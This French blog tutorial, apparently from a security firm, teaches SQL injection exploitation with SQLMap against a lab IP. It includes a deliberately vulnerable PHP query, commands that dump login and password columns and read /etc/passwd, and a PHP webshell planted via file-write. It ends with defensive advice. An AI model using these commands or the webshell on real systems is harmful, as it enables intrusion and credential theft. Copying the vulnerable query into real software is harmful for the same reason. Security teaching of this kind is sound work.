Secureaks Logo Secureaks

Exploitez les Injections SQL avec SQLMap : Guide Complet

Article illustration

Par Romain Garcia le 28/04/2025 dans la catégorie Ethical Hacking | 49 vues


Les injections SQL représentent l'une des vulnérabilités les plus critiques en cybersécurité. Exploiter ces failles nécessite souvent des compétences avancées, mais des outils comme SQLMap rendent cette tâche beaucoup plus efficace. Ce guide présente les bases des injections SQL, l'utilisation de SQLMap pour les détecter et les exploiter, ainsi que des conseils pour s'en prémunir.

Pour ceux qui préfèrent le format vidéo, l'ensemble de cette présentation est également disponible sur YouTube : Exploitez les injections SQL avec SQLMap.

Introduction aux Injections SQL

Une injection SQL est une faille de sécurité qui permet d'injecter du code malveillant dans une requête SQL. Cette vulnérabilité peut donner à un attaquant un accès non autorisé aux données sensibles, permettre la modification de données, voire un contrôle total du serveur dans certains cas.

Un exemple classique de code vulnérable en PHP est le suivant :

<?php
$pdo = new PDO('mysql:host=localhost;dbname=test', 'root', '');
$pdo->query('SELECT * FROM posts WHERE id = ' . $_GET['id']);

Dans ce code, l'absence de validation des entrées utilisateur ($_GET['id']) expose l'application à une injection SQL.

Les principaux types d'injections SQL sont :

  • Boolean Based : détection basée sur la réponse vraie ou fausse.
  • Time Based : analyse du temps de réponse pour inférer des résultats.
  • Error Based : exploitation des messages d'erreur.
  • Union Based : extraction de données via des requêtes UNION.
  • Stacked Queries : exécution de plusieurs requêtes dans une seule transaction.

Installation de SQLMap

SQLMap est un outil open-source développé en Python qui permet de simplifier l'exploitation des injections SQL. Il est régulièrement mis à jour et maintenu par une communauté active.

Pour l'installer, il suffit de cloner le dépôt GitHub officiel :

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Sur des distributions spécialisées comme Kali Linux, il est possible d'installer SQLMap directement avec le gestionnaire de paquets :

sudo apt install sqlmap

Utilisation de SQLMap : Bases et Options essentielles

SQLMap automatise la détection et l'exploitation des injections SQL. Voici une première commande type :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --level 4 --risk 2 --dbs
  • -u : URL ciblée.
  • -p : paramètre vulnérable (ici id).
  • --level : niveau de test (de 1 à 5).
  • --risk : niveau de risque (de 1 à 3).
  • --dbs : liste les bases de données détectées.

Le level représente la profondeur des tests, tandis que le risk détermine la sévérité des tests effectués. Un niveau de risque plus élevé peut entraîner des tests plus intrusifs et avoir des répercussions sur les performances du serveur.

Si le système de base de données utilisé est connu, il peut être précisé avec l'option --dbms, par exemple --dbms=mysql, afin de réduire le volume de requêtes envoyées et d'optimiser les tentatives d'injection.

SQLMap va commencer par tenter de détecter les possibilités d'injection. Si une injection est détectée, il va alors essayer de déterminer le type de base de données utilisée, la version, et d'autres informations pertinentes.

Il va également essayer de déterminer quels sont les types d'injection possibles, en fonction de la réponse du serveur.

https://secureaks.com/uploads/c0df6f3fb2c2431664d55844f4b556277af4cf4c.png

D'autres options peuvent être utilisées pour récupérer davantage d'informations sur la base de données :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --level 4 --risk 2 --current-user --is-dba --hostname --users --privileges
  • --current-user : affiche l'utilisateur actuel de la base de données.
  • --is-dba : vérifie si l'utilisateur est un administrateur de la base de données.
  • --hostname : affiche le nom d'hôte du serveur de base de données.
  • --users : liste les utilisateurs de la base de données.
  • --privileges : affiche les privilèges des utilisateurs.

SQLMap permet ensuite de détailler les tables :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --level 4 --risk 2 -D test --tables
  • -D : spécifie la base de données ciblée (ici test).
  • --tables : liste les tables de la base de données.

https://secureaks.com/uploads/30235a4aa06379b9bb9e10b25190564aa09e8190.png

Et d'identifier les colonnes sensibles :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --level 4 --risk 2 -D test -T users --columns
  • -T : spécifie la table ciblée (ici users).
  • --columns : liste les colonnes de la table.

https://secureaks.com/uploads/07426cff6544c1db428502d756242f3187b76837.png

Avant d'extraire massivement les données, il est judicieux de vérifier le nombre d'entrées :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --level 4 --risk 2 -D test -T users --count
  • --count : affiche le nombre d'entrées dans la table.

https://secureaks.com/uploads/fc99918e45dbb88a3a5f8b2eb34ad7dcc2b7fbb5.png

Puis de récupérer les données ciblées :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --level 4 --risk 2 -D test -T users --dump -C login,password
  • --dump : extrait les données de la table.
  • -C : spécifie les colonnes à extraire (ici login et password).

https://secureaks.com/uploads/2a73e8e63efafabbf96e8811e4c17fb0161a602e.png

SQLMap est même capable d'analyser les hachages de mots de passe et de tenter leur cassage automatique.

https://secureaks.com/uploads/7b0c940a0f600a06867e28689795b3e5c2e1061a.png

Utilisation Avancée : Fichiers de Requêtes

Lorsque les paramètres vulnérables se trouvent dans des entêtes HTTP, des cookies ou des corps POST complexes, SQLMap peut utiliser un fichier de requête interceptée avec l'option -r.

Par exemple, après avoir capturé une requête avec Burp Suite et l'avoir enregistrée dans un fichier request.txt :

python sqlmap.py -r /tmp/request.txt --level 4 --risk 2 --dbs

Pour cibler précisément un point d'injection, on insère un caractère * à l'endroit voulu dans le fichier de requête.

https://secureaks.com/uploads/6495e59729a479c6aba80433231c5d4e5d26ca46.png

Si l'application utilise HTTPS, il est nécessaire d'ajouter --force-ssl.

Lecture et Écriture de Fichiers sur le Serveur

SQLMap permet également de lire et d'écrire des fichiers sur le serveur via des injections SQL, en utilisant respectivement :

Lecture de fichier :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --file-read /etc/passwd

Écriture de fichier :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --file-write test.txt --file-dest /tmp/test.txt

Un scénario d'exploitation typique est l'upload d'une webshell PHP :

<?php
system($_GET['cmd']);
?>

En utilisant SQLMap pour déposer ce fichier :

sqlmap -u "http://192.168.1.169/cat.php?id=1" -p id --file-write backdoor.php --file-dest /var/www/html/backdoor.php

Il sera alors possible d'exécuter des commandes directement sur le serveur via l'URL de la webshell.

Les Tamper Scripts : Contourner les Protections

SQLMap propose de nombreux scripts pour modifier le comportement des requêtes SQL qu'il envoie, par exemple pour insérer des commentaires ou encoder les caractères afin de contourner des protections applicatives.

La liste complète est disponible sur le dépôt officiel :
https://github.com/sqlmapproject/sqlmap/tree/master/tamper

Comment se Protéger des Injections SQL

Pour protéger efficacement une application contre les injections SQL :

  • Utiliser systématiquement des requêtes préparées (avec PDO ou équivalent).
  • Utiliser des ORM (Object-Relational Mapping) modernes qui abstraient les requêtes SQL et empêchent l'injection.
  • Valider et filtrer toutes les entrées utilisateur.
  • Limiter les privilèges des comptes utilisés pour accéder aux bases de données.

Conclusion

SQLMap est un outil incontournable pour l'audit de sécurité des applications web. Maîtriser son utilisation permet non seulement de tester efficacement ses propres systèmes, mais aussi de mieux comprendre les mécanismes d'attaque pour mieux s'en prémunir.

Pour toute question sur la sécurisation de vos applications ou pour découvrir nos services professionnels en cybersécurité, n'hésitez pas à nous contacter. Nous vous accompagnerons dans vos projets d'audit et de protection de vos systèmes d'information.

Matomo